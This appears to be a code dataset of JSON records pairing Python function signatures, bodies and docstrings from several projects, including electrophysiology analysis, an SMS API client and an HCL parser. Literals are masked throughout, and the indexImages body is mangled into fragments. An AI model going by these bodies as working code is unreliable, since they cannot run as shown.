{"signature": "def proto_IC_ramp_gain(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>swhlab.ap.detect(abf)<EOL>swhlab.ap.check_AP_raw(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\",resize=False)<EOL>swhlab.ap.check_AP_deriv(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.check_AP_phase(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.plot_values(abf,'<STR_LIT>',continuous=True) <EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axhline(<NUM_LIT>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>swhlab.ap.plot_values(abf,'<STR_LIT>',continuous=True) <EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axhline(-<NUM_LIT:100>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "increasing ramps in (?) pA steps.", "id": "f11413:m16"}
{"signature": "def proto_SHIV4(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>swhlab.ap.detect(abf)<EOL>standard_groupingForInj(abf,<NUM_LIT:200>)<EOL>swhlab.ap.check_AP_raw(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\",resize=False)<EOL>swhlab.ap.check_AP_deriv(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.check_AP_phase(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.plot_values(abf,'<STR_LIT>',continuous=True) <EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axhline(<NUM_LIT>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>swhlab.ap.plot_values(abf,'<STR_LIT>',continuous=False) <EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axhline(<NUM_LIT>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>swhlab.plot.gain(abf) <EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "increasing ramps in (?) pA steps.", "id": "f11413:m17"}
{"signature": "def proto_sputter(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>swhlab.ap.detect(abf)<EOL>swhlab.ap.check_AP_raw(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\",resize=False)<EOL>swhlab.ap.check_AP_deriv(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.check_AP_phase(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.plot_values(abf,'<STR_LIT>',continuous=True) <EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axhline(-<NUM_LIT:50>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>pylab.axhline(-<NUM_LIT:100>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "increasing ramps in (?) pA steps.", "id": "f11413:m18"}
{"signature": "def indexImages(folder,fname=\"<STR_LIT>\"):", "body": "<EOL>png']:<EOL>sename(item)<EOL>.basename(item)<EOL>fname))<EOL>", "docstring": "OBSOLETE WAY TO INDEX A FOLDER.", "id": "f11413:m22"}
{"signature": "def waitTillCopied(fname):", "body": "lastSize=<NUM_LIT:0><EOL>while True:<EOL><INDENT>thisSize=os.path.getsize(fname)<EOL>print(\"<STR_LIT>\",thisSize)<EOL>if lastSize==thisSize:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>lastSize=thisSize<EOL><DEDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT>", "docstring": "sometimes a huge file takes several seconds to copy over.\nThis will hang until the file is copied (file size is stable).", "id": "f11414:m0"}
{"signature": "def handleNewABF(fname):", "body": "waitTillCopied(fname)<EOL>standard.autoABF(fname)<EOL>", "docstring": "we see a brand new ABF. now what?", "id": "f11414:m1"}
{"signature": "def lazygo(watchFolder='<STR_LIT>',reAnalyze=False,rebuildSite=False,<EOL>keepGoing=True,matching=False):", "body": "abfsKnown=[]<EOL>while True:<EOL><INDENT>print()<EOL>pagesNeeded=[]<EOL>for fname in glob.glob(watchFolder+\"<STR_LIT>\"):<EOL><INDENT>ID=os.path.basename(fname).replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>if not fname in abfsKnown:<EOL><INDENT>if os.path.exists(fname.replace(\"<STR_LIT>\",\"<STR_LIT>\")): <EOL><INDENT>continue<EOL><DEDENT>if matching and not matching in fname:<EOL><INDENT>continue<EOL><DEDENT>abfsKnown.append(fname)<EOL>if os.path.exists(os.path.dirname(fname)+\"<STR_LIT>\"+os.path.basename(fname).replace(\"<STR_LIT>\",\"<STR_LIT>\")) and reAnalyze==False:<EOL><INDENT>print(\"<STR_LIT>\",os.path.basename(fname))<EOL>if rebuildSite:<EOL><INDENT>pagesNeeded.append(ID)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>handleNewABF(fname)<EOL>pagesNeeded.append(ID)<EOL><DEDENT><DEDENT><DEDENT>if len(pagesNeeded):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>indexing.genIndex(os.path.dirname(fname),forceIDs=pagesNeeded)<EOL><DEDENT>if not keepGoing:<EOL><INDENT>return<EOL><DEDENT>for i in range(<NUM_LIT:50>):<EOL><INDENT>print('<STR_LIT:.>',end='<STR_LIT>')<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>", "docstring": "continuously monitor a folder for new abfs and try to analyze them.\nThis is intended to watch only one folder, but can run multiple copies.", "id": "f11414:m2"}
{"signature": "def updateVersion(fname):", "body": "fname=os.path.abspath(fname)<EOL>if not os.path.exists(fname):<EOL><INDENT>print(\"<STR_LIT>\",fname)<EOL>return<EOL><DEDENT>with open(fname) as f:<EOL><INDENT>raw=f.read().split(\"<STR_LIT:\\n>\")<EOL><DEDENT>for i,line in enumerate(raw):<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>version=int(line.split(\"<STR_LIT:=>\")[<NUM_LIT:1>])<EOL>raw[i]=\"<STR_LIT>\"%(version+<NUM_LIT:1>)<EOL><DEDENT><DEDENT>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(\"<STR_LIT:\\n>\".join(raw))<EOL><DEDENT>print(\"<STR_LIT>\"%(version,version+<NUM_LIT:1>))<EOL>sys.path.insert(<NUM_LIT:0>,os.path.dirname(fname))<EOL>import version<EOL>print(\"<STR_LIT>\",version.__version__)<EOL>with open('<STR_LIT>','<STR_LIT:w>') as f:<EOL><INDENT>f.write(str(version.__version__))<EOL><DEDENT>", "docstring": "given a filename to a file containing a __counter__ variable,\nopen it, read the count, add one, rewrite the file.\n\nThis:\n    __counter__=123\nBecomes:\n    __counter__=124", "id": "f11416:m0"}
{"signature": "def newVersion():", "body": "version=None<EOL>fname='<STR_LIT>'<EOL>with open(fname) as f:<EOL><INDENT>raw=f.read().split(\"<STR_LIT:\\n>\")<EOL>for i,line in enumerate(raw):<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>if version is None:<EOL><INDENT>version = int(line.split(\"<STR_LIT:=>\")[<NUM_LIT:1>])<EOL><DEDENT>raw[i]=\"<STR_LIT>\"%(version+<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(\"<STR_LIT:\\n>\".join(raw))<EOL><DEDENT>print(\"<STR_LIT>\"%(version,version+<NUM_LIT:1>))<EOL>", "docstring": "increments version counter in swhlab/version.py", "id": "f11417:m0"}
{"signature": "def dictFromXml(xmlString):", "body": "dom = minidom.parseString(xmlString)<EOL>return nodeToDic(dom.childNodes[<NUM_LIT:0>])<EOL>", "docstring": "Returns the a dictionary from the XML string.", "id": "f11418:m0"}
{"signature": "def getTextFromNode(node):", "body": "t = \"<STR_LIT>\"<EOL>for n in node.childNodes:<EOL><INDENT>if n.nodeType == n.TEXT_NODE:<EOL><INDENT>t += n.nodeValue<EOL><DEDENT>else:<EOL><INDENT>raise NotTextNodeError<EOL><DEDENT><DEDENT>return t<EOL>", "docstring": "Scans through all children of node and gathers the\ntext. If node has non-text child-nodes then\nNotTextNodeError is raised.", "id": "f11418:m1"}
{"signature": "def __init__(self, api_key, password):", "body": "self.api_key = api_key<EOL>self.password = password<EOL>", "docstring": "Initialise the AmbientSMS class\n\nExpects:\n - api_key - your AmbientSMS Central username\n - password - your AmbientSMS Central password", "id": "f11418:c2:m0"}
{"signature": "def getbalance(self, url='<STR_LIT>'):", "body": "postXMLList = []<EOL>postXMLList.append(\"<STR_LIT>\" % self.api_key)<EOL>postXMLList.append(\"<STR_LIT>\" % self.password)<EOL>postXML = '<STR_LIT>' % \"<STR_LIT>\".join(postXMLList)<EOL>result = self.curl(url, postXML)<EOL>if result.get(\"<STR_LIT>\", None):<EOL><INDENT>return result[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>raise AmbientSMSError(result[\"<STR_LIT:status>\"])<EOL><DEDENT>", "docstring": "Get the number of credits remaining at AmbientSMS", "id": "f11418:c2:m1"}
{"signature": "def sendmsg(self,<EOL>message,<EOL>recipient_mobiles=[],<EOL>url='<STR_LIT>',<EOL>concatenate_message=True,<EOL>message_id=str(time()).replace(\"<STR_LIT:.>\", \"<STR_LIT>\"),<EOL>reply_path=None,<EOL>allow_duplicates=True,<EOL>allow_invalid_numbers=True,<EOL>):", "body": "if not recipient_mobiles or not(isinstance(recipient_mobiles, list)or isinstance(recipient_mobiles, tuple)):<EOL><INDENT>raise AmbientSMSError(\"<STR_LIT>\")<EOL><DEDENT>if not message or not len(message):<EOL><INDENT>raise AmbientSMSError(\"<STR_LIT>\")<EOL><DEDENT>postXMLList = []<EOL>postXMLList.append(\"<STR_LIT>\" % self.api_key)<EOL>postXMLList.append(\"<STR_LIT>\" % self.password)<EOL>postXMLList.append(\"<STR_LIT>\" %\"<STR_LIT>\".join([\"<STR_LIT>\" %m for m in recipient_mobiles]))<EOL>postXMLList.append(\"<STR_LIT>\" % message)<EOL>postXMLList.append(\"<STR_LIT>\" %(<NUM_LIT:1> if concatenate_message else <NUM_LIT:0>))<EOL>postXMLList.append(\"<STR_LIT>\" % message_id)<EOL>postXMLList.append(\"<STR_LIT>\" %(<NUM_LIT:1> if allow_duplicates else <NUM_LIT:0>))<EOL>postXMLList.append(<EOL>\"<STR_LIT>\" %(<NUM_LIT:1> if allow_invalid_numbers else <NUM_LIT:0>)<EOL>)<EOL>if reply_path:<EOL><INDENT>postXMLList.append(\"<STR_LIT>\" % reply_path)<EOL><DEDENT>postXML = '<STR_LIT>' % \"<STR_LIT>\".join(postXMLList)<EOL>result = self.curl(url, postXML)<EOL>status = result.get(\"<STR_LIT:status>\", None)<EOL>if status and int(status) in [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>]:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>raise AmbientSMSError(int(status))<EOL><DEDENT>", "docstring": "Send a mesage via the AmbientSMS API server", "id": "f11418:c2:m2"}
{"signature": "def curl(self, url, post):", "body": "try:<EOL><INDENT>req = urllib.request.Request(url)<EOL>req.add_header(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>data = urllib.request.urlopen(req, post.encode('<STR_LIT:utf-8>')).read()<EOL><DEDENT>except urllib.error.URLError as v:<EOL><INDENT>raise AmbientSMSError(v)<EOL><DEDENT>return dictFromXml(data)<EOL>", "docstring": "Inteface for sending web requests to the AmbientSMS API Server", "id": "f11418:c2:m3"}
{"signature": "def objectlist_flat(self, lt, replace):", "body": "d = {}<EOL>for k, v in lt:<EOL><INDENT>if k in d.keys() and not replace:<EOL><INDENT>if type(d[k]) is list:<EOL><INDENT>d[k].append(v)<EOL><DEDENT>else:<EOL><INDENT>d[k] = [d[k], v]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(v, dict):<EOL><INDENT>dd = d.setdefault(k, {})<EOL>for kk, vv in iteritems(v):<EOL><INDENT>if type(dd) == list:<EOL><INDENT>dd.append({kk: vv})<EOL><DEDENT>elif kk in dd.keys():<EOL><INDENT>if hasattr(vv, '<STR_LIT>'):<EOL><INDENT>for k2, v2 in iteritems(vv):<EOL><INDENT>dd[kk][k2] = v2<EOL><DEDENT><DEDENT>else:<EOL><INDENT>d[k] = [dd, {kk: vv}]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dd[kk] = vv<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>d[k] = v<EOL><DEDENT><DEDENT><DEDENT>return d<EOL>", "docstring": "Similar to the dict constructor, but handles dups\n\nHCL is unclear on what one should do when duplicate keys are\nencountered. These comments aren't clear either:\n\nfrom decoder.go: if we're at the root or we're directly within\n                 a list, decode into dicts, otherwise lists\n\nfrom object.go: there's a flattened list structure", "id": "f11423:c0:m0"}
{"signature": "def p_top(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = self.objectlist_flat(p[<NUM_LIT:1>], True)<EOL>", "docstring": "top : objectlist", "id": "f11423:c0:m1"}
{"signature": "def p_objectlist_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "objectlist : objectitem", "id": "f11423:c0:m2"}
{"signature": "def p_objectlist_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL>", "docstring": "objectlist : objectlist objectitem", "id": "f11423:c0:m3"}
{"signature": "def p_objectlist_2(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL>", "docstring": "objectlist : objectlist COMMA objectitem", "id": "f11423:c0:m4"}
{"signature": "def p_object_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = self.objectlist_flat(p[<NUM_LIT:2>], False)<EOL>", "docstring": "object : LEFTBRACE objectlist RIGHTBRACE", "id": "f11423:c0:m5"}
{"signature": "def p_object_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = self.objectlist_flat(p[<NUM_LIT:2>], False)<EOL>", "docstring": "object : LEFTBRACE objectlist COMMA RIGHTBRACE", "id": "f11423:c0:m6"}
{"signature": "def p_object_2(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = {}<EOL>", "docstring": "object : LEFTBRACE RIGHTBRACE", "id": "f11423:c0:m7"}
{"signature": "def p_objectkey_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "objectkey : IDENTIFIER\n          | STRING", "id": "f11423:c0:m8"}
{"signature": "def p_objectitem_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "objectitem : objectkey EQUAL number\n           | objectkey EQUAL BOOL\n           | objectkey EQUAL STRING\n           | objectkey EQUAL object\n           | objectkey EQUAL list", "id": "f11423:c0:m9"}
{"signature": "def p_objectitem_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "objectitem : block", "id": "f11423:c0:m10"}
{"signature": "def p_block_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL>", "docstring": "block : blockId object", "id": "f11423:c0:m11"}
{"signature": "def p_block_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], {p[<NUM_LIT:2>][<NUM_LIT:0>]: p[<NUM_LIT:2>][<NUM_LIT:1>]})<EOL>", "docstring": "block : blockId block", "id": "f11423:c0:m12"}
{"signature": "def p_blockId(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "blockId : IDENTIFIER\n        | STRING", "id": "f11423:c0:m13"}
{"signature": "def p_list_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "list : LEFTBRACKET listitems RIGHTBRACKET\n     | LEFTBRACKET listitems COMMA RIGHTBRACKET", "id": "f11423:c0:m14"}
{"signature": "def p_list_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = []<EOL>", "docstring": "list : LEFTBRACKET RIGHTBRACKET", "id": "f11423:c0:m15"}
{"signature": "def p_listitems_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "listitems : listitem", "id": "f11423:c0:m16"}
{"signature": "def p_listitems_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL>", "docstring": "listitems : listitems COMMA listitem", "id": "f11423:c0:m17"}
{"signature": "def p_listitem(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "listitem : number\n         | object\n         | STRING", "id": "f11423:c0:m18"}
{"signature": "def p_number_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "number : int", "id": "f11423:c0:m19"}
{"signature": "def p_number_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = float(p[<NUM_LIT:1>])<EOL>", "docstring": "number : float", "id": "f11423:c0:m20"}
{"signature": "def p_number_2(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = float(\"<STR_LIT>\".format(p[<NUM_LIT:1>], p[<NUM_LIT:2>]))<EOL>", "docstring": "number : int exp", "id": "f11423:c0:m21"}
{"signature": "def p_number_3(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = float(\"<STR_LIT>\".format(p[<NUM_LIT:1>], p[<NUM_LIT:2>]))<EOL>", "docstring": "number : float exp", "id": "f11423:c0:m22"}
{"signature": "def p_int_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = -p[<NUM_LIT:2>]<EOL>", "docstring": "int : MINUS int", "id": "f11423:c0:m23"}
{"signature": "def p_int_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "int : NUMBER", "id": "f11423:c0:m24"}
{"signature": "def p_float_0(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>] * -<NUM_LIT:1><EOL>", "docstring": "float : MINUS float", "id": "f11423:c0:m25"}
{"signature": "def p_float_1(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "float : FLOAT", "id": "f11423:c0:m26"}
{"signature": "def p_exp_0(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = \"<STR_LIT>\".format(p[<NUM_LIT:2>])<EOL>", "docstring": "exp : EPLUS NUMBER", "id": "f11423:c0:m27"}
{"signature": "def p_exp_1(self, p):", "body": "if DEBUG:<EOL><INDENT>self.print_p(p)<EOL><DEDENT>p[<NUM_LIT:0>] = \"<STR_LIT>\".format(p[<NUM_LIT:2>])<EOL>", "docstring": "exp : EMINUS NUMBER", "id": "f11423:c0:m28"}
{"signature": "def t_BOOL(self, t):", "body": "t.value = t.value == '<STR_LIT:true>'<EOL>return t<EOL>", "docstring": "r'(true)|(false)", "id": "f11424:c0:m0"}
{"signature": "def t_EMINUS(self, t):", "body": "return t<EOL>", "docstring": "r'(?<=\\d|\\.)[eE]-", "id": "f11424:c0:m1"}
{"signature": "def t_EPLUS(self, t):", "body": "return t<EOL>", "docstring": "r'(?<=\\d|\\.)[eE]\\+?", "id": "f11424:c0:m2"}
{"signature": "def t_FLOAT(self, t):", "body": "t.value = float(t.value)<EOL>return t<EOL>", "docstring": "r'-?((\\d+\\.\\d*)|(\\d*\\.\\d+))", "id": "f11424:c0:m3"}
{"signature": "def t_hexnumber(self, t):", "body": "t.value = int(t.value, base=<NUM_LIT:16>)<EOL>t.type = '<STR_LIT>'<EOL>return t<EOL>", "docstring": "r'-?0[xX][0-9a-fA-F]+", "id": "f11424:c0:m4"}
{"signature": "def t_intnumber(self, t):", "body": "t.value = int(t.value)<EOL>t.type = '<STR_LIT>'<EOL>return t<EOL>", "docstring": "r'-?\\d+", "id": "f11424:c0:m5"}
{"signature": "def t_PERIOD(self, t):", "body": "return t<EOL>", "docstring": "r'\\.", "id": "f11424:c0:m6"}
{"signature": "def t_COMMA(self, t):", "body": "return t<EOL>", "docstring": "r',", "id": "f11424:c0:m7"}
{"signature": "def t_IDENTIFIER(self, t):", "body": "t.value = text_type(t.value)<EOL>return t<EOL>", "docstring": "r'[^\\W\\d][\\w.-]*", "id": "f11424:c0:m8"}
{"signature": "def t_string(self, t):<EOL>", "body": "<EOL>t.lexer.abs_start = t.lexer.lexpos<EOL>t.lexer.rel_pos = t.lexer.lexpos<EOL>t.lexer.string_value = u'<STR_LIT>'<EOL>t.lexer.begin('<STR_LIT:string>')<EOL>", "docstring": "r'\\", "id": "f11424:c0:m9"}
{"signature": "def t_string_escapedchar(self, t):<EOL>", "body": "t.lexer.string_value += (<EOL>t.lexer.lexdata[t.lexer.rel_pos : t.lexer.lexpos - <NUM_LIT:2>] + t.value<EOL>)<EOL>t.lexer.rel_pos = t.lexer.lexpos<EOL>pass<EOL>", "docstring": "r'(?<=\\\\)(\\\"|\\\\)", "id": "f11424:c0:m10"}
{"signature": "def t_string_stringdollar(self, t):<EOL>", "body": "t.lexer.braces = <NUM_LIT:1><EOL>t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r'(?<=\\$)\\{", "id": "f11424:c0:m11"}
{"signature": "def t_string_ignoring(self, t):<EOL>", "body": "pass<EOL>", "docstring": "r'[^\\\"]", "id": "f11424:c0:m12"}
{"signature": "def t_string_STRING(self, t):<EOL>", "body": "t.value = (<EOL>t.lexer.string_value + t.lexer.lexdata[t.lexer.rel_pos : t.lexer.lexpos - <NUM_LIT:1>]<EOL>)<EOL>t.lexer.lineno += t.lexer.lexdata[t.lexer.abs_start : t.lexer.lexpos - <NUM_LIT:1>].count(<EOL>'<STR_LIT:\\n>'<EOL>)<EOL>t.lexer.begin('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'\\", "id": "f11424:c0:m13"}
{"signature": "def t_stringdollar_dontcare(self, t):<EOL>", "body": "pass<EOL>", "docstring": "r'[^\\{\\}]", "id": "f11424:c0:m15"}
{"signature": "def t_stringdollar_lbrace(self, t):", "body": "t.lexer.braces += <NUM_LIT:1><EOL>", "docstring": "r'\\{", "id": "f11424:c0:m16"}
{"signature": "def t_stringdollar_rbrace(self, t):", "body": "t.lexer.braces -= <NUM_LIT:1><EOL>if t.lexer.braces == <NUM_LIT:0>:<EOL><INDENT>t.lexer.begin('<STR_LIT:string>')<EOL><DEDENT>", "docstring": "r'\\}", "id": "f11424:c0:m17"}
{"signature": "def t_tabbedheredoc(self, t):", "body": "t.lexer.is_tabbed = True<EOL>self._init_heredoc(t)<EOL>t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r'<<-\\S+\\r?\\n", "id": "f11424:c0:m20"}
{"signature": "def t_heredoc(self, t):", "body": "t.lexer.is_tabbed = False<EOL>self._init_heredoc(t)<EOL>t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r'<<\\S+\\r?\\n", "id": "f11424:c0:m21"}
{"signature": "def t_tabbedheredoc_STRING(self, t):", "body": "return self._end_heredoc(t)<EOL>", "docstring": "r'^\\t*.+?(?=\\r?$)", "id": "f11424:c0:m23"}
{"signature": "def t_heredoc_STRING(self, t):", "body": "return self._end_heredoc(t)<EOL>", "docstring": "r'^.+?(?=\\r?$)", "id": "f11424:c0:m24"}
{"signature": "def t_heredoc_ignoring(self, t):", "body": "pass<EOL>", "docstring": "r'.+|\\n", "id": "f11424:c0:m25"}
{"signature": "def t_COMMENT(self, t):", "body": "pass<EOL>", "docstring": "r'(\\#|(//)).*", "id": "f11424:c0:m27"}
{"signature": "def t_MULTICOMMENT(self, t):", "body": "t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>pass<EOL>", "docstring": "r'/\\*(.|\\n)*?(\\*/)", "id": "f11424:c0:m28"}
{"signature": "def t_newline(self, t):", "body": "t.lexer.lineno += len(t.value)<EOL>", "docstring": "r'\\n+", "id": "f11424:c0:m29"}
{"signature": "def isHcl(s):", "body": "for c in s:<EOL><INDENT>if c.isspace():<EOL><INDENT>continue<EOL><DEDENT>if c == '<STR_LIT:{>':<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "Detects whether a string is JSON or HCL\n\n:param s: String that may contain HCL or JSON\n\n:returns: True if HCL, False if JSON, raises ValueError\n          if neither", "id": "f11426:m0"}
{"signature": "def load(fp):", "body": "return loads(fp.read())<EOL>", "docstring": "Deserializes a file-pointer like object into a python dictionary.\nThe contents of the file must either be JSON or HCL.\n\n:param fp: An object that has a read() function\n\n:returns: Dictionary", "id": "f11426:m1"}
{"signature": "def loads(s):", "body": "s = u(s)<EOL>if isHcl(s):<EOL><INDENT>return HclParser().parse(s)<EOL><DEDENT>else:<EOL><INDENT>return json.loads(s)<EOL><DEDENT>", "docstring": "Deserializes a string and converts it to a dictionary. The contents\nof the string must either be JSON or HCL.\n\n:returns: Dictionary", "id": "f11426:m2"}
{"signature": "def dumps(*args, **kwargs):", "body": "return json.dumps(*args, **kwargs)<EOL>", "docstring": "Turns a dictionary into JSON, passthru to json.dumps", "id": "f11426:m3"}
{"signature": "def _pre_install():", "body": "<EOL>dat = join(setup_dir, '<STR_LIT:src>', '<STR_LIT>', '<STR_LIT>')<EOL>if exists(dat):<EOL><INDENT>os.unlink(dat)<EOL><DEDENT>sys.path.insert(<NUM_LIT:0>, join(setup_dir, '<STR_LIT:src>'))<EOL>import hcl<EOL>from hcl.parser import HclParser<EOL>parser = HclParser()<EOL>", "docstring": "Initialize the parse table at install time", "id": "f11427:m0"}
{"signature": "def all_info_files(self) :", "body": "try :<EOL><INDENT>for info_file in list_files_in_dir(self.info_dir):<EOL><INDENT>if not os.path.basename(info_file).endswith('<STR_LIT>') :<EOL><INDENT>self.on_non_trashinfo_found()<EOL><DEDENT>else :<EOL><INDENT>yield info_file<EOL><DEDENT><DEDENT><DEDENT>except OSError: <EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Returns a generator of \"Path\"s", "id": "f11431:c0:m1"}
{"signature": "def describe(path):", "body": "if os.path.islink(path):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif os.path.isdir(path):<EOL><INDENT>if path == '<STR_LIT:.>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif path == '<STR_LIT:..>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if os.path.basename(path) == '<STR_LIT:.>':<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif os.path.basename(path) == '<STR_LIT:..>':<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>elif os.path.isfile(path):<EOL><INDENT>if os.path.getsize(path) == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>elif not os.path.exists(path):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Return a textual description of the file pointed by this 